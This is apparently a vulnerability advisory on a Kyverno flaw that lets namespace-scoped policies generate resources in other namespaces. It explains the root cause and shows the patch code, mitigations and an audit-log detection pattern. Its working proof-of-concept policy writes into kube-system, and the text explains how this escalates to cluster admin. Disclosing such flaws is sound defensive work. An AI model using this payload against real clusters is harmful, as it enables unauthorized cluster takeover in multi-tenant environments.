Aug 27, 2026·6 min read·60 visits
A missing authorization check in Kyverno's CEL policy compiler allows namespace-scoped users to generate arbitrary resources in other namespaces, leading to cluster privilege escalation.
CVE-2026-54523 is a critical security vulnerability in the Kyverno policy engine (versions 1.18.0 up to 1.18.2) where the CEL generator library fails to validate target namespace boundaries. This allows unprivileged tenants with namespace-scoped policy creation permissions to bypass Kubernetes multi-tenancy limits and execute unauthorized cross-namespace resource creation, potentially escalating privileges to cluster administrator.
Kyverno is a Kubernetes-native policy engine designed to validate, mutate, generate, and clean up Kubernetes resources using declarative policies. To evaluate highly complex configurations and matching criteria, Kyverno integrates the Common Expression Language (CEL) runtime. The vulnerability, designated CVE-2026-54523, stems from a lack of namespace isolation validation within the CEL compilers utilized by Kyverno's namespaced policy types.
Specifically, the flaw resides in the exposure of the generator library to matching and execution contexts within NamespacedMutatingPolicy and NamespacedGeneratingPolicy objects. Under normal operations, a tenant's permissions are restricted to a single namespace, and policies generated by that tenant should not interact with resources outside those boundaries. However, the exposed CEL compiler configurations permitted these namespaced policies to invoke high-privilege cross-namespace actions.
Because the central Kyverno admission controller executes CEL operations utilizing cluster-wide administrative service accounts, it performs these cross-namespace actions on behalf of the namespaced policy without verifying original tenancy constraints. Consequently, a lower-privileged user capable of defining or modifying namespaced policies can leverage this path to deploy unauthorized resources into restricted administrative namespaces like kube-system.
The core defect of CVE-2026-54523 lies in the decoupling of policy tenancy context from the CEL compiler execution context. When compiling NamespacedMutatingPolicy or NamespacedGeneratingPolicy instances, Kyverno initializes the compiler using subpackages located under pkg/cel/policies/gpol/compiler/ and pkg/cel/policies/mpol/compiler/. This initialization registers the generator extension library globally across all policy scopes.
In the vulnerable implementation, the compiler registered the generator library via generator.Lib(generator.Context{ContextInterface: libsctx}, generator.Latest()). This configuration omitted any namespace restriction parameters. As a result, both cluster-wide and namespace-scoped policies were loaded with identical capabilities, allowing namespaced policies to leverage the generator.apply(namespace, resources) function with arbitrary target namespaces.
At runtime, the evaluated CEL payload is passed to the context provider located within pkg/cel/libs/context.go. The function GenerateResources accepted the evaluated namespace argument dynamically without validating if the source policy was permitted to target the specified namespace. Since the background admission controller operates out-of-band with full cluster permissions, the request was processed blindly, breaking the multi-tenant security boundary of the Kubernetes cluster.
The following diagram outlines the vulnerable execution path where an unprivileged namespaced policy leverages the global generator library context to bypass namespace boundaries and create resources inside administrative scopes.
This flow highlights the omission of authorization checks within the compiler registration phase. By registering a global library context without scope limitations, Kyverno allows user-defined variables inside the CEL payload to dictate target namespace destinations.
The remediation for this issue required modifications to both the downstream Kyverno SDK and the Kyverno core codebase. The downstream SDK update (commit 6573937441443e1ba5af9fbb28d5c0f20297f9df) modified Lib() to accept the parent policy namespace, enforcing isolation via a dedicated namespacedImpl structure.
Below is an annotated comparison of the implementation in cel/libs/generator/namespaced_impl.go showing how namespace authorization checks were implemented:
// Patched SDK: cel/libs/generator/namespaced_impl.go
func (c *namespacedImpl) apply_generator_string_list(args ...ref.Val) ref.Val {
if self, err := utils.GetArg[Context](args, 0); err != nil {
return err
} else if namespace, err := utils.GetArg[string](args, 1); err != nil {
return err
} else if namespace != c.namespace {
// Strict comparison prevents cross-namespace target specification
return types.NewErr("cross-namespace generation denied: policy in %q cannot generate into %q", c.namespace, namespace)
}
// Proceed with normal generation if namespaces match
return c.impl.apply_generator_string_list(args...)
}Additionally, in Kyverno Core (commit 5164bcdeda5b57678bc2d7a03ecc2cbb02982dae), the context provider was hardened to prevent namespaced policies from generating cluster-scoped resources, which could otherwise bypass the namespace-isolation checks:
// Patched Kyverno Core: pkg/cel/libs/context.go
if !cp.isNamespacedResource(item.GetAPIVersion(), item.GetKind()) {
// If the target resource is cluster-scoped, ensure the originating policy is not namespace-scoped
if namespace != "" {
return fmt.Errorf("cross-scope generation denied: a policy scoped to namespace %q cannot generate cluster-scoped resource %s/%s", namespace, item.GetAPIVersion(), item.GetKind())
}
targetNamespace = ""
}To execute this attack, an adversary requires Role-Based Access Control (RBAC) permissions to create or update either NamespacedGeneratingPolicy or NamespacedMutatingPolicy resources within at least one namespace. Because these resources are namespaced, platform teams commonly delegate their management to tenant administrators or deployment pipelines within isolated projects.
The attacker creates a malicious NamespacedGeneratingPolicy inside their assigned namespace (e.g., tenant-ns). The policy uses a standard trigger, such as the creation of any ConfigMap in the local namespace. The vulnerability is triggered within the generate field, where the attacker invokes generator.apply() with an external target namespace argument.
An example payload targeting the kube-system namespace is illustrated below:
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedGeneratingPolicy
metadata:
name: cross-ns-escalate
namespace: tenant-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["configmaps"]
generate:
- expression: |
generator.apply("kube-system", [
{
"apiVersion": dyn("v1"),
"kind": dyn("ConfigMap"),
"metadata": dyn({
"name": "attacker-controlled-config",
"namespace": "kube-system"
}),
"data": dyn({
"injected-key": "unauthorized-value"
})
}
])When the tenant creates a dummy ConfigMap inside tenant-ns, the background engine executes this policy. Because there are no compiler or execution-time checks to block the "kube-system" parameter in vulnerable versions, Kyverno successfully writes the arbitrary ConfigMap into the administrative namespace.
The security impact of CVE-2026-54523 is categorized as Critical, carrying a CVSS score of 9.6. Although the initial access requirement involves low privileges (RBAC to create policies in a single namespace), the scope metric is classified as Changed (S:C) because the attack breaks the Kubernetes namespace isolation boundary.
By writing resources into restricted namespaces like kube-system, an attacker can escalate privileges to cluster administrator. For instance, the attacker can deploy a new RoleBinding or ClusterRoleBinding within an administrative namespace, linking their own restricted ServiceAccount or User to the high-privileged cluster-admin Role.
Alternatively, an attacker can overwrite existing configurations, inject malicious Sidecar containers into core system deployments, or extract sensitive secrets. Because Kyverno runs with cluster-wide administrative permissions, this vulnerability effectively grants full control of the host Kubernetes cluster to any tenant authorized to manage namespaced policies.
The primary remediation path for CVE-2026-54523 is upgrading Kyverno to version 1.18.2 or later. This release ensures that both core and SDK components are patched, introducing the required namespace validation and preventing cross-scope or cross-namespace resource injection.
In environments where immediate upgrading is not feasible, security administrators must implement strict RBAC restrictions. Specifically, permissions to create, update, or patch NamespacedGeneratingPolicy and NamespacedMutatingPolicy resources should be restricted to trusted cluster administrators and revoked from general application tenants.
Additionally, organizations can deploy runtime detection rules to audit Policy creations. Monitoring Kubernetes API audit logs for policy objects containing the literal pattern generator.apply or generator.Apply can help identify attempted exploitation. If found, these policies should be deleted immediately, and the originating user account should be investigated.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Kyverno Kyverno | >= 1.18.0, < 1.18.2 | 1.18.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862: Missing Authorization |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 | 9.6 (Critical) |
| Exploit Status | PoC available in test suites, no known in-the-wild exploitation |
| KEV Status | Not listed on CISA KEV |
| Impact | Complete cluster-wide privilege escalation and arbitrary write access |
The software does not perform authorization checks when an actor attempts to access or modify a resource.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.
ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.
CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.